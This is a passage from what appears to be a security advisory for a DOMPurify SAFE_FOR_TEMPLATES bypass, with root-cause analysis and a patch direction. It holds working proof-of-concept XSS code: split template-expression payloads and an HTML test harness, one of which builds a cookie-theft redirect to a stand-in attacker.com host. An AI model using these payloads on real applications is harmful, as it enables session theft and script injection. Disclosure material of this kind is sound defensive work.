This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:
<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
import DOMPurify from './dist/purify.es.mjs';
// Simulates fetching and rendering user-submitted comment
async function renderComment(userHtml) {
// Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
const dom = DOMPurify.sanitize(userHtml, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Application iterates <template> elements and evaluates their content
// (common pattern in component-based frameworks)
dom.querySelectorAll('template').forEach(tmpl => {
tmpl.content.normalize(); // standard DOM housekeeping
const content = tmpl.content.textContent;
// Application uses template literals to interpolate user content into UI
const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
document.getElementById('output').innerHTML += rendered;
});
}
// Attacker-supplied comment content
const attackerComment =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
'</template>';
// Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
renderComment(attackerComment);
// !! XSS fires, alert pops with session cookies !!
</script>
Observed output: alert("XSS: " + document.cookie) executes in the victim’s browser context, leaking session tokens to the attacker.
PoC 4 - IN_PLACE mode (DOM input path)
// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)
const container = document.createElement('div');
const tmpl = document.createElement('template');
// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);
// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}" <-- survived in-place sanitization
new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!
HTML File for testing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
<script src="dist/purify.js"></script>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Segoe UI', system-ui, sans-serif;
background: #0d1117;
color: #e6edf3;
padding: 32px;
}
h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
.subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }
.card {
background: #161b22;
border: 1px solid #30363d;
border-radius: 8px;
margin-bottom: 24px;
overflow: hidden;
}
.card-header {
display: flex;
align-items: center;
gap: 10px;
padding: 14px 20px;
border-bottom: 1px solid #30363d;
background: #1c2128;
}
.badge {
font-size: 0.72rem;
font-weight: 700;
padding: 2px 8px;
border-radius: 4px;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.badge-run { background: #1f6feb; color: #fff; }
.badge-pass { background: #238636; color: #fff; }
.badge-fail { background: #da3633; color: #fff; }
.badge-warn { background: #9e6a03; color: #fff; }
.card-title { font-size: 0.95rem; font-weight: 600; }
.card-body { padding: 20px; }
label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }
pre {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.82rem;
line-height: 1.6;
overflow-x: auto;
margin-bottom: 14px;
white-space: pre-wrap;
word-break: break-all;
}
pre.result { border-color: #238636; background: #0a1a0f; }
pre.escaped { border-color: #da3633; background: #1a0a0a; }
pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
.grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
@media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
.arrow {
text-align: center;
font-size: 1.4rem;
color: #8b949e;
margin: 4px 0;
}
.xss-banner {
display: none;
background: #da3633;
color: #fff;
text-align: center;
padding: 16px;
font-size: 1.1rem;
font-weight: 700;
border-radius: 6px;
margin-bottom: 24px;
letter-spacing: 0.03em;
}
button {
background: #238636;
color: #fff;
border: none;
padding: 10px 22px;
border-radius: 6px;
font-size: 0.9rem;
font-weight: 600;
cursor: pointer;
margin-right: 10px;
margin-bottom: 8px;
}
button:hover { background: #2ea043; }
button.danger { background: #da3633; }
button.danger:hover { background: #f85149; }
.note {
background: #161b22;
border-left: 3px solid #9e6a03;
padding: 12px 16px;
font-size: 0.82rem;
color: #e3b341;
border-radius: 0 6px 6px 0;
margin-top: 14px;
}
#log {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.8rem;
font-family: monospace;
min-height: 60px;
max-height: 300px;
overflow-y: auto;
line-height: 1.8;
}
.log-ok { color: #3fb950; }
.log-fail { color: #f85149; }
.log-info { color: #8b949e; }
.log-warn { color: #e3b341; }
</style>
</head>
<body>
<h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
<p class="subtitle">
CVE candidate · Template expression injection via <template> content ·
Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
</p>
<div id="xss-banner" class="xss-banner">
⚠️ XSS CONFIRMED - Expression executed in this page's context
</div>
<!-- ── Controls ─────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Controls</span>
<span class="card-title">Run individual test cases</span>
</div>
<div class="card-body">
<button onclick="runAll()">▶ Run all tests</button>
<button onclick="runPoC1()">PoC 1 - alert()</button>
<button onclick="runPoC2()">PoC 2 - cookie exfil</button>
<button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
<button onclick="runControl()">Control - string output (should block)</button>
<div class="note">
PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
doesn't need a dismiss click to continue. Watch the red banner at the top.
</div>
</div>
</div>
<!-- ── PoC 1 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc1">
<div class="card-header">
<span class="badge badge-run" id="badge-poc1">PENDING</span>
<span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
<pre id="input-poc1"></pre>
</div>
<div>
<label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
<pre class="result" id="nodes-poc1"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED TEXT NODE - fully formed expression after normalization</label>
<pre class="highlight" id="merged-poc1"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc1">Not run yet</pre>
</div>
</div>
<!-- ── PoC 2 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc2">
<div class="card-header">
<span class="badge badge-run" id="badge-poc2">PENDING</span>
<span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - exfil payload split across custom elements</label>
<pre id="input-poc2"></pre>
</div>
<div>
<label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
<pre class="result" id="nodes-poc2"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION - what a template engine would evaluate</label>
<pre class="highlight" id="merged-poc2"></pre>
<label>SIMULATED EXECUTION (fetch URL that would be called)</label>
<pre id="exec-poc2">Not run yet</pre>
<div class="note">
Real execution would redirect the victim to
<code>attacker.com</code> carrying the session cookie.
This PoC constructs the URL without actually sending it.
</div>
</div>
</div>
<!-- ── PoC 3 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc3">
<div class="card-header">
<span class="badge badge-run" id="badge-poc3">PENDING</span>
<span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
<pre id="input-poc3"></pre>
</div>
<div>
<label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
<pre class="result" id="nodes-poc3"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION</label>
<pre class="highlight" id="merged-poc3"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc3">Not run yet</pre>
</div>
</div>
<!-- ── Control ───────────────────────────────────────────── -->
<div class="card" id="card-ctrl">
<div class="card-header">
<span class="badge badge-run" id="badge-ctrl">PENDING</span>
<span class="card-title">Control - string output (default) MUST block the payload</span>
</div>
<div class="card-body">
<label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
<pre id="input-ctrl"></pre>
<div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
<label>OUTPUT STRING - expression should be stripped</label>
<pre id="output-ctrl">Not run yet</pre>
<div class="note">
The string output path is NOT vulnerable because
<code>body.innerHTML</code> serialises the template content into a
flat string where the full <code>${"{...}"}</code> expression is visible
and the final regex scrub catches it.
</div>
</div>
</div>
<!-- ── Log ───────────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Log</span>
<span class="card-title">Test output</span>
</div>
<div class="card-body">
<div id="log"></div>
</div>
</div>
<script>
// ── Helpers ────────────────────────────────────────────────────────────────
let xssConfirmed = false;
function log(msg, type = 'info') {
const el = document.getElementById('log');
const line = document.createElement('div');
line.className = 'log-' + type;
line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
el.appendChild(line);
el.scrollTop = el.scrollHeight;
}
function setBadge(id, status) {
const el = document.getElementById('badge-' + id);
el.textContent = status;
el.className = 'badge ' + {
PASS: 'badge-fail', // "PASS" here means the attack succeeded (bad for security)
BLOCK: 'badge-pass', // "BLOCK" means DOMPurify correctly blocked it
PENDING: 'badge-run',
ERROR: 'badge-warn',
}[status];
}
function markXSS(poc) {
if (!xssConfirmed) {
xssConfirmed = true;
document.getElementById('xss-banner').style.display = 'block';
}
log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}
// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────
function runPoC1() {
log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');
// IMPORTANT:
// Build a REAL template DOM node with split TEXT nodes.
// HTML parsing would merge adjacent text automatically,
// so we construct the DOM programmatically.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc1').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{confirm(...)}"';
// Sanitize the DOM node itself
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc1').textContent =
'Template element removed during sanitization';
setBadge('poc1', 'ERROR');
return;
}
const nodesBefore = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc1').textContent =
'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
'→ Neither fragment matched individually.';
log(
'PoC 1: Text nodes after sanitization: ' +
nodesBefore.join(', '),
'warn'
);
// Merge text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc1').textContent = merged;
log('PoC 1: After normalize() - merged text: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc1').textContent =
'✔ Expression executed successfully\\n' +
'Returned: ' + result;
setBadge('poc1', 'PASS');
markXSS('PoC 1');
} catch (e) {
document.getElementById('exec-poc1').textContent =
'Error: ' + e.message;
setBadge('poc1', 'ERROR');
log('PoC 1 error: ' + e.message, 'warn');
}
}
// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────
function runPoC2() {
log('Running PoC 2 - cookie exfiltration...', 'info');
// Fake cookie for demonstration
document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';
// IMPORTANT:
// Build REAL split text nodes programmatically.
// Do NOT rely on HTML parsing.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{document.location="//attacker.com/steal?c="+document.cookie}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc2').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{document.location=...}"';
// Sanitize DOM node
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc2').textContent =
'Template element removed during sanitization';
setBadge('poc2', 'ERROR');
log('PoC 2: template element missing after sanitize()', 'warn');
return;
}
const nodes = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc2').textContent =
'Node 0: ' + nodes[0] + '\\n' +
'Node 1: ' + nodes[1] + '\\n\\n' +
'→ Neither fragment individually matches template-expression regexes.';
log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');
// Merge adjacent text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc2').textContent = merged;
log('PoC 2: Merged expression: ' + merged, 'warn');
// Simulate framework evaluation
try {
new Function('return `' + merged + '`')();
const cookieValue = document.cookie;
const stealUrl =
'//attacker.com/steal?c=' +
encodeURIComponent(cookieValue);
document.getElementById('exec-poc2').textContent =
'✔ Expression successfully evaluated\\n\\n' +
'Would redirect victim to:\\n' +
stealUrl + '\\n\\n' +
'Cookie exposed:\\n' +
cookieValue;
setBadge('poc2', 'PASS');
markXSS('PoC 2');
log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');
} catch (e) {
document.getElementById('exec-poc2').textContent =
'Error: ' + e.message;
setBadge('poc2', 'ERROR');
log('PoC 2 error: ' + e.message, 'warn');
}
}
// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────
function runPoC3() {
log('Running PoC 3 - IN_PLACE mode...', 'info');
// Build DOM node manually (simulates attacker-controlled DOM input,
// e.g. content parsed from a WebSocket message or an iframe)
const container = document.createElement('div');
const tmplEl = document.createElement('template');
// Two separate text nodes - HTML parser merges them, but programmatic
// DOM construction keeps them split. This is the IN_PLACE attack surface.
tmplEl.content.appendChild(document.createTextNode('$'));
tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}'));
container.appendChild(tmplEl);
document.getElementById('input-poc3').textContent =
'// Programmatically constructed DOM node:\n' +
'template.content.childNodes[0].data = "$"\n' +
'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' +
'// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';
// Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression
DOMPurify.sanitize(container, {
IN_PLACE: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = container.querySelector('template');
const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);
document.getElementById('nodes-poc3').textContent =
'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' +
'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' +
'→ _scrubTemplateExpressions() did not enter template.content\n' +
'→ Both nodes unchanged after sanitization.';
log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc3').textContent = merged;
log('PoC 3: Merged: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc3').textContent =
'✔ new Function() returned: ' + result + '\n' +
'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';
setBadge('poc3', 'PASS');
markXSS('PoC 3');
} catch (e) {
document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;
setBadge('poc3', 'ERROR');
log('PoC 3 error: ' + e.message, 'warn');
}
}
// ── Control: string output must block ─────────────────────────────────────
function runControl() {
log('Running control - string output path (should block)...', 'info');
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{confirm("this should never fire")}</x-split-2>' +
'</template>';
document.getElementById('input-ctrl').textContent = dirty;
// Default string output - NOT using RETURN_DOM
const sanitized = DOMPurify.sanitize(dirty, {
SAFE_FOR_TEMPLATES: true,
// RETURN_DOM intentionally omitted - string path is safe
});
document.getElementById('output-ctrl').textContent = sanitized;
const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');
if (blocked) {
setBadge('ctrl', 'BLOCK');
log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');
} else {
setBadge('ctrl', 'PASS'); // unexpected
log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');
}
}
// ── Run all ────────────────────────────────────────────────────────────────
function runAll() {
document.getElementById('log').innerHTML = '';
xssConfirmed = false;
document.getElementById('xss-banner').style.display = 'none';
log('=== Starting full test run ===', 'info');
runPoC1();
runPoC2();
runPoC3();
runControl();
log('=== Test run complete ===', 'info');
}
</script>
</body>
</html>
Root Cause
_scrubTemplateExpressions (src/purify.ts:1115) does not recurse into <template>.content:
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize(); // Does NOT normalize inside <template>.content (DOM spec)
const walker = createNodeIterator.call(
node.ownerDocument || node,
node, // NodeIterator does NOT enter <template>.content
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |
NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,
null
);
// Scrubs nodes it finds, but never sees <template> content
};
The fix is to extend _scrubTemplateExpressions to explicitly recurse into <template>.content, mirroring the approach already used by _sanitizeShadowDOM (src/purify.ts:1753):
if (_isDocumentFragment(shadowNode.content)) {
_sanitizeShadowDOM(shadowNode.content); // already handles recursion
}
Suggested Patch Direction
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize();
const walker = createNodeIterator.call( /* existing args */ );
// ... existing scrub loop ...
// NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM
const templates = (node as Element).querySelectorAll?.('template') ?? [];
arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {
if (_isDocumentFragment(tmpl.content)) {
_scrubTemplateExpressions(tmpl.content as unknown as Element);
}
});
};
Impact
Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes <template> element content.
What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, <%...%>) into the sanitized DOM output inside <template> elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.
Preconditions for Exploitation
| Precondition | Notes |
|---|---|
SAFE_FOR_TEMPLATES: true |
Non-default - must be explicitly set |
RETURN_DOM: true or IN_PLACE: true |
Non-default - must be explicitly set |
Template engine processes <template>.content |
Application-dependent |
What Is NOT Affected
The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:
// src/purify.ts:2067 - only runs on string output, not DOM output
if (SAFE_FOR_TEMPLATES) {
arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
serializedHTML = stringReplace(serializedHTML, expr, ' ');
});
}